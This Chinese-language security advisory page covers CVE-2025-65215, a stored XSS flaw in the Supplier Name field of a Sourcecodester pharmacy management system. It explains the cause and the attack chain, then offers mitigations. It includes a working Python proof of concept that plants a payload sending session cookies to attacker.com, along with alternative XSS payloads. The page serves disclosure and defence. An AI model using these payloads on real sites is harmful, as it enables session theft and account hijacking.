IPBUF安全漏洞报告
English
CVE-2025-65215 CVSS 6.1 中危

CVE-2025-65215 Sourcecodester药房管理系统Supplier Name字段XSS漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-65215
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Sourcecodester Web-based Pharmacy Product Management System v1.0

相关标签

CVE-2025-65215XSSStored XSSCross Site ScriptingSourcecodesterPharmacy Management SystemPHPWeb ApplicationMedium SeverityNo Authentication Required

漏洞概述

CVE-2025-65215是Sourcecodester开发的Web-based Pharmacy Product Management System(基于Web的药房产品管理系统)v1.0版本中存在的一个跨站脚本(XSS)漏洞。该漏洞位于产品管理系统的供应商管理功能模块中,具体在/product_expiry/add-supplier.php页面的Supplier Name(供应商名称)字段。攻击者可以利用此漏洞在供应商名称输入框中注入恶意的JavaScript代码,当其他用户访问该页面或查看相关数据时,恶意脚本将在受害者浏览器中执行,从而窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容。由于该漏洞无需认证即可利用(PR:N),但需要用户交互(UI:R),攻击者可能通过社会工程学手段诱导管理员或相关人员访问恶意构造的页面。此漏洞的CVSS评分为6.1,属于中等严重程度,对系统机密性和完整性造成一定影响。

技术细节

该漏洞是一个典型的存储型XSS(Stored XSS)漏洞,存在于PHP开发的Web应用程序中。漏洞产生的根本原因是在处理用户输入时未对Supplier Name字段进行充分的输入验证和输出编码。具体来说,当用户在/product_expiry/add-supplier.php页面的供应商名称输入框中提交数据时,后端代码直接将用户输入存储到数据库中,而没有对特殊字符(如<、>、"、'、script等)进行过滤或转义。在后续页面加载或数据展示时,这些未经过滤的数据被直接输出到HTML页面中,导致嵌入的JavaScript代码被浏览器解析执行。攻击者只需构造包含<script>标签或事件处理器(如onerror、onload等)的Payload,例如:<script>alert(document.cookie)</script>或<img src=x onerror=alert(1)>,即可触发XSS攻击。由于该数据被存储在数据库中,所有访问该供应商信息的用户都会受到攻击影响。

攻击链分析

STEP 1
步骤1
攻击者访问目标系统的/product_expiry/add-supplier.php页面
STEP 2
步骤2
攻击者在Supplier Name字段中注入恶意XSS Payload,如<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者提交表单,后端未对输入进行过滤直接将恶意代码存入数据库
STEP 4
步骤4
管理员或合法用户访问供应商列表页面,触发存储型XSS
STEP 5
步骤5
恶意JavaScript代码在受害者浏览器中执行,窃取Cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话信息劫持用户账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65215 PoC - Stored XSS in Supplier Name field # Target: Sourcecodester Pharmacy Product Management System v1.0 # Endpoint: /product_expiry/add-supplier.php target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost" add_supplier_url = f"{target_url}/product_expiry/add-supplier.php" # XSS Payload - Steal cookies xss_payload = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" # Alternative XSS Payloads: # xss_payload = "<img src=x onerror=alert(document.domain)>" # xss_payload = "<svg/onload=alert(document.cookie)>" # xss_payload = "<iframe src='javascript:alert(document.cookie)'>" data = { 'supplier_name': xss_payload, 'submit': 'Add Supplier' # Adjust based on actual form field name } print(f"[*] Sending XSS payload to: {add_supplier_url}") print(f"[*] Payload: {xss_payload}") try: response = requests.post(add_supplier_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[*] XSS payload should be stored in database") print("[*] When admin views supplier list, XSS will execute") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

Sourcecodester Web-based Pharmacy Product Management System v1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,可以通过以下措施进行临时缓解:1)在前端和后端同时对Supplier Name等用户输入字段实施输入长度限制和字符过滤;2)部署Web应用防火墙规则拦截包含<script>、onerror、onload等XSS特征的请求;3)对数据库中现有数据进行XSS Payload扫描和清理;4)加强管理员用户的安全意识培训,警惕异常页面行为;5)限制/product_expiry/add-supplier.php页面的访问权限,仅允许可信IP访问;6)定期审计应用日志,检测潜在的XSS攻击痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表